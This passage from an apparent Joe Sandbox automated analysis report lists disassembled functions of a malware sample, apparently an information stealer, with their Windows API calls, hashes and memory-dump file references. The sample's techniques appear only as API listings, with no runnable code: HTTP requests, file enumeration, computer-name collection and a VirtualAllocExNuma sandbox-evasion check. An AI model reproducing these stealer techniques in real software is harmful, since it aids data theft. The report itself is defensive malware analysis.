Instruction ID: 85eeb005c70659f46130f1d93a6757bd0234e3f833e90ce45be512ec29d70a91
Opcode Fuzzy Hash: c48b52379bed104c7be31cc43784889c23db463f4c68aee9d2d7c0e323ad10bc
Instruction Fuzzy Hash: 7C2130B1D00209ABDF14DFA4E94AADE7B74FB45310F108625F555A72C0DB706609DF91

Function 005351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 00526280: InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
Part of subcall function 00526280: StrCmpCA.SHLWAPI(?,0108F278), ref: 00526303
Part of subcall function 00526280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
Part of subcall function 00526280: HttpOpenRequestA.WININET(00000000,GET,?,0108EC50,00000000,00000000,00400100,00000000), ref: 00526385
Part of subcall function 00526280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
Part of subcall function 00526280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535228

Strings

ERROR, xrefs: 0053521A
ERROR, xrefs: 00535273

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: db0b732f3470ce601eb5de66cdde40e036f3eae5deb3f9b3e748f0753bf286e8
Instruction ID: c0e4df16c99c9a7b783ebb6cab1229c0e067e5e9df9333d62b0893f010e242fa
Opcode Fuzzy Hash: db0b732f3470ce601eb5de66cdde40e036f3eae5deb3f9b3e748f0753bf286e8
Instruction Fuzzy Hash: 0E113030910549BBCB14FF74DD9AAED7B38BF90300F404558F84A5B192EF30AB05CA91

Function 00534F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534F7A
lstrcat.KERNEL32(?,00541070), ref: 00534F97
lstrcat.KERNEL32(?,01088978), ref: 00534FAB
lstrcat.KERNEL32(?,00541074), ref: 00534FBD

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
Part of subcall function 00534910: FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
Part of subcall function 00534910: FindClose.KERNEL32(000000FF), ref: 00534B92

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 16b65677bc3e23b9627c418fd833b59200618dda16b374d878d8114fd242e437
Instruction ID: f351bc6625e183446bfe00554ea38bcaff846762958ad2acfa037009363d7214
Opcode Fuzzy Hash: 16b65677bc3e23b9627c418fd833b59200618dda16b374d878d8114fd242e437
Instruction Fuzzy Hash: 0321657690030567C754F760EC4AEEE373CBB94300F008554B65BA3181EEB596C88F96

Function 00530740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010889C8), ref: 0053079A
StrCmpCA.SHLWAPI(00000000,010888F8), ref: 00530866
StrCmpCA.SHLWAPI(00000000,010889D8), ref: 0053099D

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 34bfc2c8024a3b08630048073ffd23ff331fcd6018d13d37de127c25fefe7027
Instruction ID: bf5fbb558473f37674782cd832f7caf9b28098846244d51867215dc5f80ca78d
Opcode Fuzzy Hash: 34bfc2c8024a3b08630048073ffd23ff331fcd6018d13d37de127c25fefe7027
Instruction Fuzzy Hash: BA919975B002099FCB18EF64D995BEDBBB5FFD5300F508518E84A9F281DB30AA05CB82

Function 00530765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010889C8), ref: 0053079A
StrCmpCA.SHLWAPI(00000000,010888F8), ref: 00530866
StrCmpCA.SHLWAPI(00000000,010889D8), ref: 0053099D

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9dd0c9175b33a3f9f1e5e636b270018432801f0b4e67260876f94c6ca209e2ed
Instruction ID: 035c81556ef4995a80c0cdadbac4f82f2f9b3c4eaeb735bfddeff75b289fba4c
Opcode Fuzzy Hash: 9dd0c9175b33a3f9f1e5e636b270018432801f0b4e67260876f94c6ca209e2ed
Instruction Fuzzy Hash: C3818775B102099FCB18EF64D995AEDBBB5FFD4300F508519E84A9F385DB30AA05CB82

Function 005378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
RtlAllocateHeap.NTDLL(00000000), ref: 00537917
GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: dc8e632ac10c72332e8558f8365eb1a9f943e38044b67fb378dd3a4f2780b799
Instruction ID: 316e02312ff8bd2e43fec3dec8879bc7407bb5a358625507023b073c8d2d7c57
Opcode Fuzzy Hash: dc8e632ac10c72332e8558f8365eb1a9f943e38044b67fb378dd3a4f2780b799
Instruction Fuzzy Hash: 8E0186B1904309EBCB10DF95DD45BAABFB8F704B21F104219FA45E7280C37859008FA5

Function 6CE73060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CE73095

Part of subcall function 6CE735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CEFF688,00001000), ref: 6CE735D5
Part of subcall function 6CE735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CE735E0
Part of subcall function 6CE735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CE735FD
Part of subcall function 6CE735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CE7363F
Part of subcall function 6CE735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CE7369F
Part of subcall function 6CE735A0: __aulldiv.LIBCMT ref: 6CE736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE7309F

Part of subcall function 6CE95B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CE956EE,?,00000001), ref: 6CE95B85
Part of subcall function 6CE95B50: EnterCriticalSection.KERNEL32(6CEFF688,?,?,?,6CE956EE,?,00000001), ref: 6CE95B90
Part of subcall function 6CE95B50: LeaveCriticalSection.KERNEL32(6CEFF688,?,?,?,6CE956EE,?,00000001), ref: 6CE95BD8
Part of subcall function 6CE95B50: GetTickCount64.KERNEL32 ref: 6CE95BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CE730BE

Part of subcall function 6CE730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CE73127
Part of subcall function 6CE730F0: __aulldiv.LIBCMT ref: 6CE73140

Part of subcall function 6CEAAB2A: __onexit.LIBCMT ref: 6CEAAB30

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 5ab4ce5dbc534fc9da8efe0d55aeb9ba949303658b669fee59b532c9cd1fd192
Instruction ID: dc949d0d55d668ddbd4a9c94eccca500cee8d3ff73f43b4b416daccfc0136d44
Opcode Fuzzy Hash: 5ab4ce5dbc534fc9da8efe0d55aeb9ba949303658b669fee59b532c9cd1fd192
Instruction Fuzzy Hash: 5AF02D22E2074897CB10DF74A8411EE73B0AFEB114F62531DE86457651FF2061D8C3D6

Function 00539470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00539484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005394A5
CloseHandle.KERNEL32(00000000), ref: 005394AF

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 410fbdb345e1c712197a70499d23349a73e6b9783c109c7a02567d84649ea511
Instruction ID: db034ac4f91e8e07805abfc1eb325fe4a6772ca77924f444fca9878f25f6b57f
Opcode Fuzzy Hash: 410fbdb345e1c712197a70499d23349a73e6b9783c109c7a02567d84649ea511
Instruction Fuzzy Hash: 29F03A7490020CBBDB05DFA4DC4AFE97778FB08300F008498FA09A7290D6B46E85CB95

Function 00521110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0052112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00521132
ExitProcess.KERNEL32 ref: 00521143

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 551d70e11549fc5251d2b93311ef721d424c83314b6abbed607133bb6a83d475
